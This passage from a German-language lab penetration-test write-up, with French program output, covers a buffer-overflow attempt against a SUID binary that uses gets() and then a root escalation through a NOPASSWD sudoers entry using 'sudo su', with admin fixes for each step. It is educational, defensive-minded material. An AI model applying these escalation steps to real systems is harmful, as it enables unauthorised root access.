Empfehlung (Admin): Entferne das SUID-Binary. Verwende niemals `gets()`. Hardcodiere keine Passwörter in Binaries.
Mot de passe :
Mauvais mot de passe
lancement debug
code retour : 0
Erreur de segmentation (Segmentation fault)
Analyse: Es wird versucht, einen Buffer Overflow in `./test` auszulösen. Eine speziell präparierte Zeichenkette (Beginn 'Aa0Aa...', gefolgt von Bytes, die wahrscheinlich einen Return Pointer überschreiben sollen) wird über eine Pipe an das Programm gesendet.
Bewertung: Das Programm nimmt die Eingabe entgegen, meldet "Mauvais mot de passe" (falsches Passwort), führt dann den "debug"-Teil aus (`touch /root/authorize_bob` wird vermutlich versucht) und stürzt anschließend mit einem Segmentation Fault ab. Dies bestätigt, dass der Buffer Overflow ausgelöst wurde und die Programmausführung beeinflusst hat, aber der Versuch, die Kontrolle zu übernehmen (z.B. eine Shell zu starten), war (noch) nicht erfolgreich.
Empfehlung (Pentester): Der Overflow funktioniert, aber der Payload muss angepasst werden, um Codeausführung zu erreichen (z.B. genaue Offset-Berechnung, Shellcode oder ROP-Chain). Da der Bericht jedoch einen anderen Weg zur PE zeigt, ist dies möglicherweise nicht der beabsichtigte Pfad.
Empfehlung (Admin): Die `gets()`-Schwachstelle muss behoben werden.
[Keine Passwortabfrage]
uid=0(root) gid=0(root) groupes=0(root)
Analyse: Der Benutzer `bob` führt `sudo su` aus.
Bewertung: **Erfolg!** Der Befehl wird **ohne Passwortabfrage** ausgeführt und resultiert in einer Root-Shell. Dies bedeutet, dass der Benutzer `bob` in der `/etc/sudoers`-Datei so konfiguriert ist, dass er den Befehl `su` (oder möglicherweise alle Befehle) als root ohne Passwort ausführen darf (`NOPASSWD`).
Empfehlung (Pentester): Root-Zugriff erlangt. Hole die Root-Flag.
Empfehlung (Admin): Überprüfe die `/etc/sudoers`-Datei sorgfältig. Gewähre `NOPASSWD`-Rechte nur in absolut notwendigen Fällen und so spezifisch wie möglich. Der Benutzer `bob` sollte diese Rechte wahrscheinlich nicht haben.
Ziel des POC: Demonstrieren, wie nach Erlangung des Zugangs als Benutzer `bob` durch eine Fehlkonfiguration in der `sudoers`-Datei mittels `sudo su` vollständige Root-Rechte erlangt werden können.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
1. SSH-Login als bob: Mit dem zuvor gefundenen SSH-Key auf Port 26922 anmelden.
[...] bob@kfiofan2$
2. `sudo su` ausführen: Den Befehl `sudo su` eingeben.
[Keine Passwortabfrage]
3. Rechte überprüfen: Mit `id` die erlangten Rechte bestätigen.
uid=0(root) gid=0(root) groupes=0(root)
Ergebnis & Bewertung: **Privilege Escalation erfolgreich!** Die unsichere `sudoers`-Konfiguration erlaubt es dem Benutzer `bob`, trivialerweise Root-Rechte zu erlangen. Dies ist eine häufige, aber kritische Fehlkonfiguration.
Empfehlung (Pentester): Root-Zugriff ist erreicht. Flags extrahieren.
Empfehlung (Admin): **`/etc/sudoers`-Datei dringend überprüfen und korrigieren!** Das `NOPASSWD`-Attribut sollte nur mit äußerster Vorsicht und für sehr spezifische Befehle verwendet werden, niemals für `su` oder `ALL`.